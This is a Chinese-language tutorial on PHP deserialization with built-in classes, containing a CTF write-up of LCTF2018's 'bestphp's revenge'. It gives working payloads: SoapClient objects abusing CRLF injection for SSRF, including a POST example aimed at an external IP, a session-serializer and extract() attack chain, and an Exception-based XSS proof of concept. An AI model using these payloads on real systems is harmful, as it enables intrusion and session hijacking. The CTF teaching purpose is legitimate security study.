这是第三篇

原生类的利用目前主要是两个原生类:

SoapClient

我们首先要了解SOAP是什么

SOAP的基本概念:https://www.anquanke.com/post/id/153065#h2-1

基础知识

  1. WebService三要素:

    WSDL(WebServices Description Language)用来描述如何访问具体的接口;

    UDDI(Universal Description Discovery and Integration)用来管理、分发、查询WebService ;

    SOAP(简单对象访问协议)是连接或Web服务或客户端和Web服务之间的接口,采用HTTP作为底层通讯协议,XML作为数据传送的格式。

  2. PHP 的 SOAP 扩展

    可以用来提供和使用 Web Services,SOAP扩展中实现了6个类

    其中有三个高级的类: SoapClient、SoapServer 和SoapFault,三个低级类:SoapHeader、SoapParam 和 SoapVar。

    他们的关系如下:

![1 (1)](序列化(三)原生类反序列化/1 (1).png)

在其中最重要的就是SoapClient类,因为他又**__call**魔术方法。

public SoapClient :: SoapClientmixed $wsdl [array $options ]

第一个参数用来指明是否是wsdl模式。

第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置locationuri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。

$options中有一个选项为user_agent,我们可以利用user_agent自定义User_Agent,并且进行CRLF Injection攻击.

原理

SoapClient类触发了**__call**方法后会发送http请求

SoapClient构造

//GET请求
<?php
$target = "http://127.0.0.1/flag.php";//目标url
$attack = new SoapClient(null, array('location' => $target,
    'user_agent' => "btis\r\nCookie: PHPSESSID=ctrmmddufre6nph5908ajosbo7\r\n",//进行CRLF
    'uri' => "123"));
$payload = urlencode(serialize($attack));
echo $payload;
//POST请求
<?php
$target = 'http://123.206.216.198/bbb.php';
$post_string = 'a=b&flag=aaa';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: xxxx=1234'
    );
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'      => "aaab"));

$aaa = serialize($b);
$aaa = str_replace('^^','%0d%0a',$aaa);
$aaa = str_replace('&','%26',$aaa);
echo $aaa;
?>

bestphp’s revenge

注意点:本题在bp上抓放包最后结果死活出不来,在hackbar能出来,不清楚啥原因

考点

session反序列化漏洞 SoapClient(CRLF+SSRF)

思路

利用回调函数覆盖session序列化引擎为php_serilaze,构造SSRF的SoapClient类的序列化字符串配合CRLF写入session文件,然后利用变量覆盖漏洞,覆盖掉变量b为回调函数call_user_func,从而调用SoapClient类的未知方法,触发**__call**方法进行SSRF访问flag.php。把flag写入session,最后把session打印出来。

解题

//index.php
<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
    $_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?>
//flag.php
session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
       $_SESSION['flag'] = $flag;
   }
only localhost can get flag!

首先我们可以想到利用传入$_GET[‘f’]为extract来进行变量覆盖,将b覆盖为我们想要的函数,比如var_duamp或者print_r,此时我们可以看到$_SESSION中是没有东西的。

4

于是我们想通过ini_set()函数来构造ini_set(‘session.serialize_handler’, ‘php_serialize’);来改变序列化时的处理器,从而使其和反序列化时处理引擎不同,但是$_POST中需要设置参数传输; 所以用session_start([‘serialize_handler’=>’php_serialize’]),即POST传入serialize_handler=php_serialize来改变处理器,因为session_start()中如果提供参数,那么会用其中的项目覆盖 会话配置指示 中的配置项。

利用上面的构造

<?php
$target = "http://127.0.0.1/flag.php";
$attack = new SoapClient(null, array('location' => $target,
    'user_agent' => "btis\r\nCookie: PHPSESSID=ctrmmddufre6nph5908ajosbo7\r\n",
    'uri' => "123"));
$payload = urlencode(serialize($attack));
echo $payload;
O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A3%3A%22123%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A52%3A%22btis%0D%0ACookie%3A+PHPSESSID%3Dctrmmddufre6nph5908ajosbo7%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

5

利用php_serialize序列化传入后,并用php反序列化处理后此时session中包含了:一个键名**a:1:{s:4:”name”;s:222:”**,和一个SoapClient对象

下面我们用extract()将b覆盖成call_user_func()reset($_SESSION)就是$_SESSION['name'],所以我们传入name=SoapClient

最后的call_user_func($b, $a)就变成了call_user_func(array('SoapClient','welcome_to_the_lctf2018')),即call_user_func(SoapClient->welcome_to_the_lctf2018)

因为SoapClient对象中没有welcome_to_the_lctf2018这个方法,就会调用魔术方法__call()从而发送请求。

6

因为满足了flag.php中的要求所以flag被写入到$_SESSION中,所以我们携带刚才指定的cookie访问页面即可得到flag。7

Error/Exception

Error/Exception会和xss结合

因为SoapClient是与http结合,而Error/Exception类内置有**__tostring**方法

可以xss

如果有如下代码

<?php
$a = $_GET['yds_is_so_beautiful'];
echo unserialize($a);

POC:

<?php
$a = new Exception("<script>alert(1)</script>");
echo urlencode(serialize($a));

参考链接

https://www.anquanke.com/post/id/153065#h2-5

https://www.btis.site/2020/07/13/SoapClient%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/#%E8%A7%A3%E9%A2%98%E8%BF%87%E7%A8%8B

https://ca01h.top/Web_security/php_related/5.PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0-%E5%8E%9F%E7%94%9F%E7%B1%BB%E5%88%A9%E7%94%A8/#SimpleXMLElement